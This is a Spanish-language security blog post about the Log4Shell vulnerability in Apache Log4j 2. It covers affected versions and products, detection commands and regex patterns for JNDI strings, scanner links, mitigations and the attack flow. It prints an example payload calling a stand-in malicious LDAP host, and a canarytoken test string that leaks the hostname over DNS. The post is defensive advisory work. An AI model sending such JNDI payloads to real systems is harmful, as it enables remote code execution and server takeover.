#Log4Shell: vulnerabilidad crítica con exploit para #Log4j 2 (PARCHEA YA!) - Actualizado CVE-2021-44228

Hace unas horas, se publicó un exploit Zero-Day en la popular biblioteca de registro de Java Log4j (2.0 - 2.14.1) que da como resultado la Ejecución Remota de Código (RCE) al registrar una determinada cadena. Un atacante puede construir un paquete especial de solicitud de datos, que finalmente desencadena la RCE.
Apache Log4j es una herramienta de registro basada en el lenguaje de programación Java yse utiliza ampliamente en el desarrollo de sistemas empresariales para registrar información.
Versión afectada: 2.0 <= Apache log4j2 <= 2.14.1
Hemos publicado un video del funcionamiento del exploit y un herramienta para buscar IPs afectadas
El 24 de noviembre de 2021, el equipo de seguridad de Alibaba Cloud informó oficialmente de la vulnerabilidad de ejecución remota de código de Apache Log4j. Debido a que algunas funciones de Apache Log4j realizan análisis recursivo, los atacantes pueden construir directamente solicitudes maliciosas para desencadenar vulnerabilidades de ejecución remota de código. La explotación de la vulnerabilidad no requiere una configuración especial. Tras la verificación por parte del equipo de seguridad de Alibaba Cloud se ven afectados:
- Apache Struts2
- Apache Solr
- Apache Druid
- Apache Flink
Dado lo ubicua que es esta biblioteca, el impacto del exploit (control total del servidor) y lo fácil que es explotar, la vulnerabilidad es crítica. Lo llamamos "Log4Shell" para abreviar.
Hay sospechas de que hacía mucho tiempo que se conocía el vector de ataque. Es interesante analizar como grandes vendors de la industria emplean componentes de software libre, sin interesarse en la seguridad de los mismos. Parece que se sigue asociando software libre a software gratuito.
El Zero-Day se tuiteó junto con un PoC publicado en GitHub. Se ha publicado como CVE-2021-44228 (info oficial).

¿Quién se ve afectado?
Muchos servicios son vulnerables a este exploit. Ya se ha descubierto que los servicios en la nube como en Steam, Apple iCloud, y aplicaciones como Minecraft son vulnerables (video). Muchos proyectos de código abierto como el servidor de Minecraft, Paper, Elasticsearch, Zrails, Hadoop, Kafka, Kibana, Solr, Spark, Struts, Tapestry, Wicket, ya han comenzado a parchear el uso de Log4j. Se ha demostrado que simplemente cambiar el nombre de un iPhone desencadena la vulnerabilidad en los servidores de Apple.
Cualquiera que use Apache Struts probablemente también sea vulnerable. Hemos visto vulnerabilidades similares explotadas antes en brechas como la filtración de datos de Equifax de 2017.
Los exploits comenzaron a aparecer el pasado 1 de diciembre, según Cloudflare, y una alerta inicial de CERT Nueva Zelanda provocó otros por parte de CISA y el Centro Nacional de Seguridad Cibernética del Reino Unido. El Centro Nacional de Seguridad Cibernética de los Países Bajos publicó una larga lista de software que se ve afectado por la vulnerabilidad.
Según esta
publicación de este blog, las versiones de JDK superiores a 6u211, 7u201, 8u191 y 11.0.1 no se
ven afectadas por el vector de ataque LDAP. En estas versiones,
com.sun.jndi.ldap.object.trustURLCodebase
se establece en
False
, lo que significa que
Java Naming and Directory Interface (JNDI) no puede cargar código
remoto utilizando LDAP.
Sin embargo, existen otros vectores de ataque dirigidos a esta vulnerabilidad
que pueden resultar en RCE. Un atacante aún podría aprovechar el código
existente en el servidor para ejecutar una carga útil. En
esta publicación
se analiza un ataque dirigido a la clase
org.apache.naming.factory.BeanFactory
, presente en los servidores
Apache Tomcat.
- Si encuentra estos hashes, entonces tiene el Log4j vulnerable en sus sistemas.
-
La presencia de archivos JAR que pertenecen a la biblioteca
Log4j puede indicar que una aplicación es potencialmente susceptible
a CVE-2021-44228. Los archivos específicos para buscar deben coincidir con
el siguiente patrón:
"log4j-core-*.jar"
-
Dependiendo del método de instalación, la ubicación del archivo JAR
coincidente también puede dar indicaciones sobre qué aplicación es
potencialmente vulnerable. Por ejemplo, en Windows, si el archivo se
encuentra en
C:\Program Files\ApplicationName\log4j-core-version.jar
, indica queApplicationName
debe investigarse. -
En Linux, la utilidad lsof puede mostrar qué procesos tienen
actualmente el archivo JAR en uso y se pueden ejecutar mediante la siguiente
sintaxis:
lsof /path/to/log4j-core-version.jar;
- Actualmente, la guía de detección en forma de firmas de expresión regular en el espacio público parece ser demasiado amplia y han surgido varias variantes para eludirlos. Randori recomienda filtrar las solicitudes entrantes que contienen la cadena "$ {jndi:" enviadas a sistemas sospechosos
Detección del ataque e IOCs
Florian Roth (aka
cyb3rops) creó un
repositorio
con algunas opciones para la detección y la mitigación así como las
reglas de YARA correspondientes. Estos comandos buscan distintos
intentos de explotación en /var/log
:
# sudo egrep -i -r '\$\{jndi:(ldap[s]?|rmi|dns):/[^\n]+' /var/log
# sudo find /var/log -name \*.gz -print0 | xargs -0 zgrep -E -i
'\$\{jndi:(ldap[s]?|rmi|dns):/[^\n]+'
# sudo find /var/log/test/ -type f -exec sh -c "cat {} |
sed -e 's/\${lower://'g | tr -d '}' | egrep -i 'jndi:(ldap[s]?|rmi|dns):'"\;
# sudo find /var/log/test/ -name "*.gz" -type f -exec sh -c "zcat {} |
sed -e 's/\${lower://'g | tr -d '}' | egrep -i 'jndi:(ldap[s]?|rmi|dns):'" \;
Actualizaciones
Se han publicado las reglas de Suricata y Snort y un plugin para Burp.
Ya se ha iniciado la explotación masiva de esta vulnerabilidad principalmente por operadores de malware para el criptominado. GreyNoise ha publicado un listado de IPs, IOCs y Hashes de atacantes, las que corresponden principalmente a nodos de salida TOR.
Aquí hay una lista de IPs actualizada cada hora (by CriticalPathSecurity).
Se ha publicado la lista de productos vulnerables.
Se han publicado varias herramientas para el análisis de dominios:
- https://github.com/fullhunt/log4j-scan
- https://github.com/alexandre-lavoie/python-log4rce
- https://github.com/nice0e3/log4j_POC
- Microsoft publicó una extensa guía para sus clientes y AD
- Herramienta para detectar productos vulnerables
- Grype: busca las librerías vulnerables
- Syft: busca las librerías vulnerables
Listado de avisos de todas las empresas:
- https://gist.github.com/SwitHak/b66db3a06c2955a9cb71a8718970c592
- https://www.techsolvency.com/story-so-far/cve-2021-44228-log4j-log4shell/
- Listado actualizado de productos afectados
AWS WAF esta integrado a los Application Load Balancers, a los API Gateways y a las distribuciones de AWS CloudFront, para proteger las aplicaciones de Log4Shell (y 2).
Mitigación permanente
La versión 2.15.0 de Log4j corrige la vulnerabilidad (requiere Java 8).
- Para versiones antiguas se puede renombrar o eliminar el archivo JndiLookup.class
- Anuncio oficial de seguridad de log4j.
Mitigación temporal
Hay una
discusión en HackerNews
sobre
el tema para la versión 2.10.0. Para mitigar la vulnerabilidad en lugar de actualizar Log4j, el
siguiente parámetro debe establecerse en true
al iniciar la
máquina virtual Java:
log4j2.formatMsgNoLookups;
La empresa de ciberseguridad Cybereason lanzó un script o "vacuna" que aprovecha la vulnerabilidad para desactivar una configuración en una instancia remota y vulnerable de Log4Shell. Básicamente, la vacuna corrige la vulnerabilidad explotando el servidor vulnerable.
La herramienta llamada Logout4Shell cambia algunas propiedades del
sistema log4j2.formatMsgNoLookups = true
, elimina la clase
JndiLookup
del classpath
y, si el servidor tiene
Java> = 8u121, cambia la configuración
com.sun.jndi.rmi.object.trustURLCodebase
y
com.sun.jndi.cosnaming.object.trustURLCodebase
.
Cómo funciona el exploit
Por ejemplo, una cadena de User-Agent que contenga el exploit podría pasarse a un sistema backend escrito en Java. Es por eso que es vital que todo el software basado en Java que use Log4j versión 2 esté parcheado o que se apliquen mitigaciones de inmediato. Incluso si el software orientado a Internet no está escrito en Java, es posible que las cadenas se pasen a otros sistemas que están en Java, lo que permite que suceda el exploit.
-
El atacante envía un parámetro manipulado al servidor (por HTTP u otro
protocolo). Por ejemplo la siguiente cadena:
${jndi:ldap://sitio-malicioso.com/exp}
- El servidor vulnerable recibe la solicitud con el payload.
- La vulnerabilidad en Log4j permite que el payload se ejecute y el servidor realiza una petición al sitio del atacante. La petición se realiza a través del protocolo JNDI.
- La respuesta desde el servidor del atacante contiene un archivo Java remoto (por ejemplo, un archivo exploit.class) que se inyecta en el proceso que está ejecutando el servidor vulnerable.
- Se ejecuta código en el servidor vulnerable.
La siguiente imagen del usuario @Esferared lo explica a la perfección:
Una forma rápida de probar cualquier aplicación, la explica Thinkst Canary en su twit:
- Generar un DNS token "Log4Shell" en https://canarytokens.org/generate#.
-
Usar el token generado valor en cualquier formulario, ingreso de
dato, configuración, campo, parámetro, etc. de una aplicación. Por ejemplo:
${jndi:ldap://x${hostName}.TEST.nfdmo17lg5o2kr9m76cmp9a88.canarytokens.com/a}
- Se recibe una notificación ante la vulnerabilidad.
Herramientas de detección
- Revisar si se está usando log4j
- PowerShell
- https://github.com/crypt0jan/log4j-powershell-checker
-
gci 'C:\' -rec -force -include *.jar -ea 0 | foreach {select-string "JndiLookup.class" $_} | select -exp Path
- Linux
-
find / 2>/dev/null -regex ".*.jar" -type f | xargs -I{} grep JndiLookup.class "{}"
-
Revisar ficheros de configuración buscando
log4j2.formatMsgNoLookups
y la variable de entornoLOG4J_FORMAT_MSG_NO_LOOKUPS
. Deben estar aTrue
.
- Revisar aplicaciones de Java
- https://github.com/logpresso/CVE-2021-44228-Scanner (Observación: realiza la mitigación de forma automática)
- Log4j vuln scanner
- Log4j-detector en disco
- Log4j en memoria usando reglas de Yara
- CISA Log4j-Scanner
- Log4Scanner (sí, otro, este funciona en Windows y Linux)
- Log4j-Detector
- Log4j-Detect (otro)
- JAR file hashes
- Class file hashes (2.15.0 no es vulnerable, pero está incluida)
- JAR and Class hashes
- Escaneo de vulnerabilidad en Go
- Conjunto de reglas YARA para la detección de versiones de log4j vulnerables a CVE-2021-44228 y versiones menores a 2.15.0.
Más actualizaciones
- El ransomware aprovecha la vulnerabilidad de #Log4j #Log4Shell
- Segunda actualización para la vulnerabilidad de #Log4j #Log4Shell
- Tercera vulnerabilidad en #Log4j #Log4Shell (PARCHEA!)
- Resumen de todos los CVE de #Log4j: aparecen nuevas vulnerabilidades para v1.x y #Logback. Ya hay nueva versión 2.17.0
- Busca IPs de #Log4Shell en tu red
Fuente: LunaSec
Excelente todo el materia Cristian.
ResponderBorrarMuchas gracias por el trabajo, muy útil. A compartir!
ResponderBorrar